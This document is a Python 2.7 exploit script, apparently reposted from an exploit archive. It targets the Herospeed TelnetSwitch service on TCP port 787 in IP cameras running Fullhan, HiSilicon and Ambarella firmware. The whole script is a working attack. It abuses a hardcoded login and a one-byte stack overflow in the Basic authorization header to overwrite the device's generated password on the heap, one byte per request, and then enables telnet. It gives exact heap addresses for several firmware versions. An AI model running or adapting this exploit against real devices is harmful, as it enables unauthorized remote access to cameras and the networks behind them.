Herospeed - TelnetSwitch Remote Stack Overflow / Overwrite Password / Enable TelnetD Exploit

#!/usr/bin/env python2.7
#
# Herospeed TelnetSwitch daemon running on TCP/787, for allowing enable of the telnetd.
# Where one small stack overflow allows us to overwrite the dynamicly generated password and enable telnetd.
#
# [Verified]
# 1) Fullhan IPC FH8830_F22_W_7.1.42.1
# 2) Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
# 3) HiSilicon 3518EV200_OV9732_W_7.1.25.1, 3519V100_IMX274_W_7.1.39.3
# 4) Ambarella s2l55m_imx123_W_7.1.25.2, S2E66_IMX178_W_7.1.3.4
#
# Author: bashis <mcw noemail eu>, 2018
#
import socket
import select
import sys
import argparse
import base64
import struct
import time
#
# Validate correctness of HOST, IP and PORT
#
class Validate:
 
    def __init__(self,verbose):
        self.verbose = verbose
 
    # Check if IP is valid
    def CheckIP(self,IP):
        self.IP = IP
 
        ip = self.IP.split('.')
        if len(ip) != 4:
            return False
        for tmp in ip:
            if not tmp.isdigit():
                return False
            i = int(tmp)
            if i < 0 or i > 255:
                return False
        return True
 
    # Check if PORT is valid
    def Port(self,PORT):
        self.PORT = PORT
 
        if int(self.PORT) < 1 or int(self.PORT) > 65535:
            return False
        else:
            return True
 
    # Check if HOST is valid
    def Host(self,HOST):
        self.HOST = HOST
 
        try:
            # Check valid IP
            socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP
            # Now we check if it is correct typed IP
            if self.CheckIP(self.HOST):
                return self.HOST
            else:
                return False
        except socket.error as e:
            # Else check valid DNS name, and use the IP address
            try:
                self.HOST = socket.gethostbyname(self.HOST)
                return self.HOST
            except socket.error as e:
                return False
 
 
if __name__ == "__main__":
 
    INFO =  '\n[Herospeed TelnetSwitch pwn (2018 bashis <mcw noemail eu>)]\n'
    rhost = '192.168.57.20' # Default Remote HOST
    rport = 787         # Default Remote PORT
    BUFFER_SIZE = 1024
 
    try:
        arg_parser = argparse.ArgumentParser(
        prog=sys.argv[0],
                description=('[*] '+ INFO +' [*]'))
        arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
        arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ str(rport) +']')
        args = arg_parser.parse_args()
    except Exception as e:
        print INFO,"\nError: {}\n".format(str(e))
        sys.exit(1)
 
    print INFO
    if args.rport:
        rport = int(args.rport)
 
    if args.rhost:
        rhost = args.rhost
        IP = args.rhost
 
    # Check if RPORT is valid
    if not Validate(True).Port(rport):
        print "[!] Invalid RPORT - Choose between 1 and 65535"
        sys.exit(1)
 
    # Check if RHOST is valid IP or FQDN, get IP back
    rhost = Validate(True).Host(rhost)
    if not rhost:
        print "[!] Invalid RHOST"
        sys.exit(1)
 
    timeout = 5
    socket.setdefaulttimeout(timeout)
 
    #
    # [Payload]
    #
 
    LOGIN = "Lucky787"      # Hardcoded login
    #
    # Fullhan IPC FH8830_F22_W_7.1.42.1
    # Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
    #
    PASSWD = "\n\n\n\n\n\n\n\n\n\n\n\n" # Our new password, must be exactly 12 char, and must be '\n'
    MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
    BASE64_NULL = "A" * 232 # Decoded as 0x00 with base64 decode
    HEAP_PWD = 0x00016c8c # Start of the dynamicly generated password, located on heap
 
    #
    # HiSilicon 3518EV200_OV9732_W_7.1.25.1
    #
#   PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
#   MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#   BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
#   HEAP_PWD = 0x00016990 # Start of the dynamicly generated password, located on heap
 
    #
    # HiSilicon 3519V100_IMX274_W_7.1.39.3
    #
#   PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
#   MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#   BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
#   HEAP_PWD = 0x000267b0 # Start of the dynamicly generated password, located on heap
 
    #
    # Ambarella s2l55m_imx123_W_7.1.25.2
    #
#   PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
#   MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#   BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
#   HEAP_PWD = 0x00014c3c # Start of the dynamicly generated password, located on heap
 
    #
    # Ambarella S2E66_IMX178_W_7.1.3.4
    #
#   PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
#   MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#   BASE64_NULL = "A" * 108 # Decoded as 0x00 with base64 decode
#   HEAP_PWD = 0x00014c68 # Start of the dynamicly generated password, located on heap
 
    MESSAGE = base64.b64encode(bytes(MESSAGE))
    MESSAGE += BASE64_NULL
 
    #
    # Since the stack overflow writing with only one byte, we need overwrite the password one char at the time (looping twelve times)
    #
    for where in range(0, len(PASSWD)):
        OUT = "GET / HTTP/1.0\nAuthorization: Basic {}{}\n\n".format(MESSAGE,struct.pack('<L',HEAP_PWD)[:3])
        print "Writing to: {}".format(hex(HEAP_PWD))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((rhost, rport))
        s.send(OUT)
        time.sleep(0.5)
        response = s.recv(BUFFER_SIZE).split()
        HEAP_PWD += 0x1 # Next address on heap
 
        if response[1]:
            if response[1] == "200":
                print "({}) OK, telnetd should be open!".format(response[1])
                break

#  0day.today [2018-02-15]  #